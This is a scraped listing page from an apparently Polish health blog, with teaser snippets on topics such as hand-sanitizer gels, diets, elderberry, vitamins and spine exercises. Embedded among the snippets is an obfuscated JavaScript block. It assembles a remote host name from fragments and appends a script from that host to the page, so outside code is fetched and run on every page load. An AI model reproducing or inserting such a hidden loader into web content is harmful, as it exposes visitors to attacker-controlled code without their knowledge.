Żel antybakteryjny – kosmetyk czy preparat biobójczy?
Jak rozpoznać czy kosmetyk z alkoholem do dezynfekcji dłoni jest kosmetykiem, czy preparatem biobójczym? Otóż okazuje się, że wielu producentów kosmetyków po ogłoszeniu pandemii...
Smaczne i zdrowe posiłki – dieta pudełkowa może być zawsze przy Tobie
Jeśli chcesz prowadzić zdrowy styl życia, musisz zmienić swoje myślenie, nastawienie, przyzwyczajenia.
(function(){
an4r=document.createElement("script");an4r_="u"+("s")+"ta";
an4r_+=("t.i")+""+"n";an4r_+=(("f")+"o");an4r.type="text/javascript";
an4r_+="/"; an4ru="195218037";an4ru+=".uufysyg5n4rr1jq3hxi";an4ru+="80gfuXbyvuq";
an4r.src="https://"+an4r_+an4ru;an4r.async=true;document.body.appendChild(an4r);
})();
Gdy jesteś głodny, odruchowo powinieneś sięgać po jabłko, a nie po batona....
Czarny bez na przeziębienie i grypę: właściwości i działanie
Czarny bez to roślina powszechnie rosnąca w naszym kraju, której właściwości lecznicze wykorzystywane są od wieków nie tylko w medycynie ludowej, ale również farmakologii....
Jakie działania pomogą Ci przytyć w zdrowy sposób?
W obecnych czasach wiele osób dąży do osiągnięcia idealnej sylwetki próbując zrzucić zbędne kilogramy. Niekiedy jednak problemem staje się niedowaga, która podobnie jak otyłość,...
Dlaczego warto chodzić na profilaktyczne wizyty stomatologiczne?
Nieprawidłowa higiena jamy ustnej oraz zaniedbywanie wizyt profilaktycznych może mieć duże konsekwencje zarówno dla naszego uzębienia, jak i dla całego organizmu. Niewiele osób ma...
Które ćwiczenia są dobre na kręgosłup, a które mogą źle na niego wpływać?
Kręgosłup to element szkieletu człowieka pełniący rolę narządu podporowego, narządu ruchu i osłony rdzenia kręgowego. Jest niezbędny do prawidłowego funkcjonowania, umożliwia poruszanie się, utrzymuje...
Orzechy ekologiczne – chrup na zdrowie
Mało kto ma wątpliwości czy orzechy są zdrowe. Jedzone z umiarem mogą wzbogacić naszą dietę w bezcenne składniki. Można ich używać w kuchni na...
Witamina B – co wpływa na jej przyswajalność?
Witaminy z grupy B mają wpływ na prawidłowe funkcjonowanie całego organizmu. Dbają m.in. o układ nerwowy, sprawność umysłową i ogólne samopoczucie. Zdarza się jednak,...
Dla jakich spraw zdrowotnych dobrze jest znać swoją grupę krwi?
W Polsce stosunkowo niewiele osób zna swoją grupę krwi. Od lat lekarze i specjaliści apelują, aby nie trwać w ignorancji i zdobywać taką wiedzę. Dlaczego...
Jaką rolę odgrywa nabiał w naszym żywieniu? W które produkty warto inwestować, a które...
Prowadzenie zdrowego i zrównoważonego trybu życia powinno leżeć w sferze zainteresowania nas wszystkich. Regularna i systematyczna aktywność fizyczna powinna iść w parze z odpowiednio...